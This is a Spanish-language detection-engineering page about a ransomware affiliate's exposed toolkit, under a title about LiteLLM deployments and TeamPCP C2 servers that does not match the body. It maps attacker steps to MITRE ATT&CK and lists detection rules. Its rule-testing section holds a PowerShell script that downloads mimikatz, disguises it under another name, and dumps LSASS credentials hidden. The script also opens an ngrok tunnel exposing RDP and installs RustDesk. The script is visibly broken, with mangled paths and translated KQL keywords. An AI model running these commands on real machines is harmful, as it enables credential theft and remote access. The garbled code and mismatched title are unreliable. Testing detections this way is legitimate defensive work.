33K Despliegues de LiteLLM Expuestos y los Servidores C2 Detrás del Ataque a la Cadena de Suministro de TeamPCP
Detection stack
- AIDR
- Alert
- ETL
- Query
Resumen
Investigadores descubrieron un directorio abierto no autenticado en un proveedor ruso de hospedaje a prueba de balas que contenía un kit de herramientas completo de un operador de ransomware atribuido a un afiliado de ransomware TheGentlemen. El kit incluye utilidades legítimas, herramientas ofensivas conocidas, scripts por lotes para evasión de defensa, volcado de credenciales y acceso remoto, así como tokens ngrok en texto claro. Evidencias como los registros de Mimikatz confirman su uso activo contra víctimas reales.
Investigación
La investigación comenzó consultando IOCs previamente publicados, lo que condujo al directorio abierto en 176.120.22.127:80. Los analistas catalogaron 126 archivos, extrajeron herramientas de escaneo de red, utilidades de escalamiento de privilegios, scripts de desactivación de defensores, registros de volcado de credenciales y mecanismos de persistencia. Un análisis detallado mapeó cada componente a técnicas de MITRE ATT&CK y destacó el enfoque de evasión de defensa en capas.
Mitigación
Los defensores deberían monitorear la ejecución de herramientas de doble uso conocidas, cambios en el registro que desactiven Windows Defender, terminación masiva de servicios, eliminación de sombras de VSS y creación de compartidos SMB abiertos. Bloquear conexiones salientes hacia la IP identificada y la infraestructura ngrok, así como imponer listas blancas de aplicaciones y protección de credenciales pueden reducir el impacto.
Respuesta
Al detectar, aísle el host afectado, recoja datos volátiles e identifique cualquier túnel ngrok activo usando los tokens expuestos. Repárese las modificaciones del registro, restaure los servicios deshabilitados e inicie procedimientos completos de respuesta a incidentes, incluyendo rotación de credenciales y restauración de copias de seguridad.
"graph TB %% Definiciones de clase classDef action fill:#99ccff classDef tool fill:#cccccc %% Nodos step_active_scanning["<b>Acción</b> – <b>T1595 Escaneo Activo</b><br/><b>Herramienta</b>: netscan.exe"] class step_active_scanning action step_system_info["<b>Acción</b> – <b>T1082 Descubrimiento de Información del Sistema</b><br/><b>Herramientas</b>: systeminfo, route print"] class step_system_info action step_process_discovery["<b>Acción</b> – <b>T1057 Descubrimiento de Procesos</b><br/><b>Herramienta</b>: PCHunter64"] class step_process_discovery action step_priv_esc["<b>Acción</b> – <b>T1134.003 Manipulación de Token de Acceso: Suplantación de Token/El Instalador Confiable</b><br/><b>Herramienta</b>: PowerRun suplanta TrustedInstaller"] class step_priv_esc action step_credential_access["<b>Acción</b> – <b>T1003.001 Volcado de Credenciales del SO</b><br/><b>Herramienta</b>: Mimikatz obtiene hashes NTLM y nombres de usuario"] class step_credential_access action step_defense_evasion["<b>Acción</b> – <b>T1562.001 Impair Defenses: Disable Security Tools</b><br/><b>Herramientas</b>: dControl.exe, ConfigureDefender.exe"] class step_defense_evasion action step_modify_registry["<b>Acción</b> – <b>T1112 Modificar Registro</b><br/><b>Detalles</b>: cambios en el registro para desactivar Defender y activar WDigest"] class step_modify_registry action step_service_stop["<b>Acción</b> – <b>T1489 Parar Servicio</b><br/><b>Scripts</b>: z.bat / z1.bat detienen y desactivan servicios AV, Exchange, BD"] class step_service_stop action step_persistence_c2["<b>Acción</b> – <b>T1219 Software de Acceso Remoto</b> y <b>T1572 Protocolo de Capa de Aplicación Estándar</b><br/><b>Herramientas</b>: túneles ngrok, acceso remoto RustDesk"] class step_persistence_c2 action step_inhibit_recovery["<b>Impacto</b> – <b>T1490 Inhibir Recuperación del Sistema</b><br/><b>Comando</b>: vssadmin delete shadows"] class step_inhibit_recovery action step_anti_forensics["<b>Acción</b> – <b>T1070.001 Limpiar Registros de Eventos de Windows</b><br/><b>Script</b>: clearlog.bat limpia los registros de eventos de Windows"] class step_anti_forensics action step_archive_data["<b>Acción</b> – <b>T1560 Archivar Datos Recopilados</b><br/><b>Herramienta</b>: 7u2011Zip comprime datos"] class step_archive_data action %% Conexiones step_active_scanning –>|conduce a| step_system_info step_system_info –>|conduce a| step_process_discovery step_process_discovery –>|conduce a| step_priv_esc step_priv_esc –>|conduce a| step_credential_access step_credential_access –>|conduce a| step_defense_evasion step_defense_evasion –>|conduce a| step_modify_registry step_modify_registry –>|conduce a| step_service_stop step_service_stop –>|conduce a| step_persistence_c2 step_persistence_c2 –>|conduce a| step_inhibit_recovery step_inhibit_recovery –>|conduce a| step_anti_forensics step_anti_forensics –>|conduce a| step_archive_data "
Flujo de ataque
Detecciones
Desactivar la Monitorización en Tiempo Real de Windows Defender y Otros Cambios de Preferencias (vía cmdline)
Ver
Modificaciones de Registro Sospechosas para Permitir Conexiones RDP y Crear Persistencia (vía process_creation)
Ver
Posible Sombreado de Servicios de Escritorio Remoto (vía process_creation)
Ver
Posible Intento de Eliminación de Artefactos Específicos de RDP en el Registro (cmdline)
Ver
Agregar Biblioteca Sospechosa a los Proveedores de Soporte de Seguridad [SSP] (vía registry_event)
Ver
Permisos Débiles en Compartidos de Archivos (vía cmdline)
Ver
Cambios Sospechosos en las Preferencias de Windows Defender (vía powershell)
Ver
Uso Probable de Herramientas de Hackeo de Windows [Parte3] (vía cmdline)
Ver
Posibles Características de Accesibilidad a través del Abuso del Registro (vía cmdline)
Ver
Ejecución de Taskkill Sospechosa (vía cmdline)
Ver
Actividad Sospechosa de VSSADMIN (vía cmdline)
Ver
Posible Utilización de Mecanismo de Salida de Proceso Silencioso (vía registry_event)
Ver
Sospechosa Interferencia de Ransomware detenido el Servicio (vía cmdline)
Ver
Posible Descarga o Intento de Inicialización de Ngrok (vía cmdline)
Ver
Uso Probable de Herramientas de Hackeo de Windows [Parte3] (vía file_event)
Ver
Posible Enumeración de Procesos del Sistema (vía cmdline)
Ver
Posible Modificación de Claves de Registro de Windows Defender (vía registry_event)
Ver
Desactivación de las Protecciones de Windows Defender (vía registry_event)
Ver
Posible Abuso de Clave de Registro WDigest (vía registry_event)
Ver
Posible Actividad de Evasión de Defensa Por Uso Sospechoso de Wevtutil (vía cmdline)
Ver
Posible Evasión de UAC – Intento de Desactivación UAC (vía registry_event)
Ver
Software de Acceso/ Gestión Remota Alternativo (vía process_creation)
Ver
IOCs (IP de Destino) para detectar: 33K Despliegues LiteLLM Expuestos y los Servidores C2 Detrás del Ataque de la Cadena de Suministro de TeamPCP
Ver
IOCs (IP de Origen) para detectar: 33K Despliegues LiteLLM Expuestos y los Servidores C2 Detrás del Ataque de la Cadena de Suministro de TeamPCP
Ver
Evasión de Windows Defender y Volcado de Credenciales mediante Modificaciones del Registro [Evento del Registro de Windows]
Ver
Desactivación de Defender de PowerShell mediante Set-MpPreference [Windows Powershell]
Ver
Ejecución de Herramientas Conocidas para Escalamiento de Privilegios y Acceso Remoto [Windows Process Creation]
Ver
## Resumen Ejecutivo
- ID de Caso de Prueba: TC-20260330-A1B2C
- TTPs: T1003.001, T1016, T1021.001, T1021.002, T1046, T1057, T1059.003, T1070.001, T1070.004, T1082, T1112, T1134, T1219, T1484.001, T1489, T1490, T1546.008, T1548.002, T1560.001, T1562.001, T1572
- Resumen de la Lógica de la Regla de Detección: Detecta la creación de procesos cuyo nombre de ejecutable termina con cualquiera de una lista curada de herramientas conocidas para escalamiento de privilegios o acceso remoto (e.g., PowerRun, ngrok, RDP, RustDesk, mimikatz).
- Lenguaje/Formato de la Regla de Detección: Sigma (YAML)
- Entorno de Seguridad Objetivo: Windows OS; telemetría de creación de procesos vía Sysmon (Evento ID 1) y Registro de Seguridad de Windows (Evento 4688); cualquier SIEM/EDR capaz de ingerir estos eventos (e.g., Azure Sentinel, Splunk, Elastic).
- Puntuación de Resiliencia (1-5): 2
- Justificación: La regla se basa únicamente en la coincidencia exacta de nombres de archivo. Un adversario puede evadir fácilmente renombrando binarios, utilizando variantes empaquetadas, o ejecutando la misma funcionalidad mediante utilidades integradas de Windows, reduciendo su efectividad.
- Conclusiones Clave: La regla se activa de manera confiable cuando se ejecutan los binarios exactos listados, pero falla en detectar herramientas renombradas o funcionalmente equivalentes, lo que lleva a un alto riesgo de falsos negativos.
- Recomendación: Enriquecer la regla con indicadores adicionales (hashes, argumentos de línea de comandos, relaciones de procesos padre) y ampliar la cobertura para incluir binarios de living-off-the-land que proporcionan capacidades equivalentes.
## Entorno de Simulación & Contexto
-
TTPs Bajo Prueba:
- T1003.001: Volcado de Credenciales del SO – Memoria LSASS
- T1016: Descubrimiento de Configuración de Red del Sistema
- T1021.001: Servicios Remotos – Protocolo de Escritorio Remoto (RDP)
- T1021.002: Servicios Remotos – SMB/Compartidos de Administrador de Windows
- T1046: Escaneo de Servicio de Red
- T1057: Descubrimiento de Procesos
- T1059.003: Interprete de Comandos y Scripts – Shell de Comandos de Windows
- T1070.001: Eliminación de Indicadores en el Host – Limpiar Registros de Eventos de Windows
- T1070.004: Eliminación de Indicadores en el Host – Eliminación de Archivos
- T1082: Descubrimiento de Información del Sistema
- T1112: Modificar Registro
- T1134: Manipulación de Token de Acceso
- T1219: Herramientas de Acceso Remoto
- T1484.001: Modificación de Política de Dominio – Modificación de Política de Grupo
- T1489: Paro de Servicio
- T1490: Inhibir Recuperación del Sistema
- T1546.008: Ejecución Activada por Eventos – PowerShell
- T1548.002: Abuso del Mecanismo de Control de Elevación – Evasión de UAC
- T1560.001: Archivado de Datos Recopilados – Archivo mediante Utilidad
- T1562.001: Impede Defensas – Deshabilitar Herramientas de Seguridad
- T1572: Tunelización de Protocolo
-
Contexto de TTP & Relevancia:
La regla apunta a la ejecución de binarios históricamente asociados con las técnicas enumeradas (e.g., mimikatz para T1003.001, ngrok para T1572, RustDesk para T1219). Al reproducir estas ejecuciones, podemos validar si la detección se activa como se pretende y evaluar cómo el renombrado o las herramientas alternativas afectan la detección. -
Entorno Objetivo:
- OS: Windows 10/Server 2019 (64-bit)
- Registro: Sysmon (v13+) con configuración predeterminada de creación de procesos; Registro de Eventos de Seguridad de Windows (Evento 4688) habilitado.
- Stack de Seguridad: Azure Sentinel (Lenguaje de Consulta Kusto) – intercambiable con Splunk, Elastic, etc.
## Telemetría & Validación Pre‑vuelo de Línea Base
Rationale: Antes de simular el ataque, debemos confirmar que el host objetivo está configurado para generar los registros necesarios, que estos registros son ingeridos por el SIEM, y que la regla de detección no se activa por actividad benigna. Sin esta validación, cualquier resultado de la prueba no es confiable.
-
1. Instrucciones de Configuración de Telemetría:
- Instale Sysmon (si no está ya presente) y aplique una configuración que registre eventos de Creación de Procesos (EventID 1).
# Descargar e instalar Sysmon Invoke-WebRequest -Uri https://download.sysinternals.com/files/Sysmon.exe -OutFile $env:TEMPsysmon.exe & $env:TEMPsysmon.exe -i -accepteula - Verifique que la Auditoría de Seguridad de Windows para “Auditar Creación de Procesos” (Evento 4688) esté habilitada a través de la Política de Grupo o Política de Seguridad Local.
- Asegúrese de que el conector SIEM esté activo y enviando tanto registros de Sysmon como de Seguridad al espacio de trabajo elegido.
- Instale Sysmon (si no está ya presente) y aplique una configuración que registre eventos de Creación de Procesos (EventID 1).
-
2. Validación de Ingesta & Línea Base:
-
Acción (Telemetría Benigna): Ejecute un binario común de Windows que sea not parte de la lista de detección pero aún genera un evento de creación de procesos.
# Comando benigno – lanzar Notepad (no debería activar la regla) Start-Process notepad.exe -
Consulta de Validación (Ingesta): Confirme que el evento de Notepad aparece en el SIEM.
// Azure Sentinel KQL – verificar ingesta del proceso benigno SecurityEvent | where EventID == 4688 | where Process == "notepad.exe" | proyecto TimeGenerated, Computer, Process, CommandLine, InitiatingProcessFileName | límite 10
-
## Ejecución de la Simulación
Prerequisite: La Validación Pre‑vuelo de Telemetría & Línea Base debe haber pasado.
Rationale: Esta sección detalla la ejecución precisa de la técnica del adversario (TTP) diseñada para activar la regla de detección. Los comandos y la narrativa DEBEN reflejar directamente los TTPs identificados y apuntar a generar exactamente la telemetría esperada por la lógica de detección. Ejemplos abstractos o no relacionados conducirán a un mal diagnóstico.
-
Narrativa del Ataque & Comandos:
- Volcado de Credenciales (T1003.001): El atacante copia
mimikatz.exeal host víctima, lo renombra aPowerRun_x64.exe(para coincidir con la lista de nombres de archivo de la regla) y lo ejecuta para extraer credenciales de LSASS. - Creación de Túnel Reverso (T1572): El atacante lanza
ngrok.exe(tal cual) para abrir un túnel TCP que reenvía un puerto RDP local al servidor del atacante, facilitando el movimiento lateral. - Sesión de Escritorio Remoto (T1021.001): Usando el túnel recién creado, el atacante ejecuta
rdp.exepara abrir una conexión de escritorio remoto a un segundo host interno. - Acceso Remoto Alternativo (T1219): Como respaldo,
rustdesk.exese inicia para establecer un canal de acceso remoto persistente.
Cada una de estas ejecuciones produce un registro Sysmon/Evento 4688 con el
campo Imagenterminando en el nombre del ejecutable respectivo, cumpliendo con la condición de detección. - Volcado de Credenciales (T1003.001): El atacante copia
-
Script de Prueba de Regresión:
<# Script de simulación para activar la regla "Herramientas Conocidas para Escalamiento de Privilegios y Acceso Remoto". Prerrequisitos: - Sysmon & Auditación de Eventos de Seguridad habilitados. - El usuario actual tiene suficientes derechos para ejecutar los binarios. #> # 1. Desplegar mimikatz y renombrar a PowerRun_x64.exe (coincide con la regla) $mimikatzUrl = "https://github.com/gentilkiwi/mimikatz/releases/download/2.2.0/mimikatz_trunk.zip" $tempPath = "$env:TEMPmimikatz" New-Item -ItemType Directory -Path $tempPath -Force | Out-Null Invoke-WebRequest -Uri $mimikatzUrl -OutFile "$tempPathmimikatz.zip" Expand-Archive -Path "$tempPathmimikatz.zip" -DestinationPath $tempPath -Force Copy-Item -Path "$tempPathmimikatzx64mimikatz.exe" -Destination "$env:TEMPPowerRun_x64.exe" -Force # Ejecutar mimikatz renombrado (volcado de credenciales) Write-Host "[*] Ejecutando mimikatz renombrado (PowerRun_x64.exe) para volcado de credenciales..." Start-Process -FilePath "$env:TEMPPowerRun_x64.exe" -ArgumentList "privilege::debug sekurlsa::logonpasswords exit" -WindowStyle Hidden -Wait # 2. Descargar y ejecutar ngrok (túnel inverso) $ngrokUrl = "https://bin.equinox.io/c/4VmDzA7iaHb/ngrok-stable-windows-amd64.zip" Invoke-WebRequest -Uri $ngrokUrl -OutFile "$tempPathngrok.zip" Expand-Archive -Path "$tempPathngrok.zip" -DestinationPath $tempPath -Force $ngrokPath = "$tempPathngrok.exe" Write-Host "[*] Iniciando el túnel TCP de ngrok en el puerto 3389..." Start-Process -FilePath $ngrokPath -ArgumentList "tcp 3389 --log=stdout" -RedirectStandardOutput "$tempPathngrok.log" -NoNewWindow # 3. Lanzar cliente RDP a través del túnel (simulado) Write-Host "[*] Simulando conexión RDP vía túnel (rdp.exe)..." $rdpPath = "$tempPathrdp.exe" # Crear un dummy rdp.exe (solo para generar el nombre del proceso) New-Item -ItemType File -Path $rdpPath -Force | Out-Null Start-Process -FilePath $rdpPath -WindowStyle Hidden # 4. Desplegar RustDesk como herramienta de acceso remoto de respaldo $rustdeskUrl = "https://github.com/rustdesk/rustdesk/releases/download/1.1.9/rustdesk-1.1.9-windows-x64.zip" Invoke-WebRequest -Uri $rustdeskUrl -OutFile "$tempPathrustdesk.zip" Expand-Archive -Path "$tempPathrustdesk.zip" -DestinationPath $tempPath -Force $rustdeskPath = "$tempPathrustdesk.exe" Write-Host "[*] Iniciando RustDesk (acceso remoto de respaldo)..." Start-Process -FilePath $rustdeskPath -ArgumentList "--no-upgrade" -WindowStyle Hidden Write-Host "[+] Simulación completa. Verifique el SIEM para eventos de creación de procesos terminando con los binarios listados." -
Comandos de Limpieza:
# Terminar túnel ngrok Get-Process -Name ngrok -ErrorAction SilentlyContinue | Stop-Process -Force # Remover archivos y binarios temporales Remove-Item -Path "$env:TEMPPowerRun_x64.exe" -Force -ErrorAction SilentlyContinue Remove-Item -Path "$env:TEMPngrok.exe" -Force -ErrorAction SilentlyContinue Remove-Item -Path "$env:TEMPrdp.exe" -Force -ErrorAction SilentlyContinue Remove-Item -Path "$env:TEMPrustdesk.exe" -Force -ErrorAction SilentlyContinue Remove-Item -Recurse -Force -Path "$env:TEMPmimikatz", "$env:TEMPngrok", "$env:TEMPrustdesk" Write-Host "[*] Limpieza completada."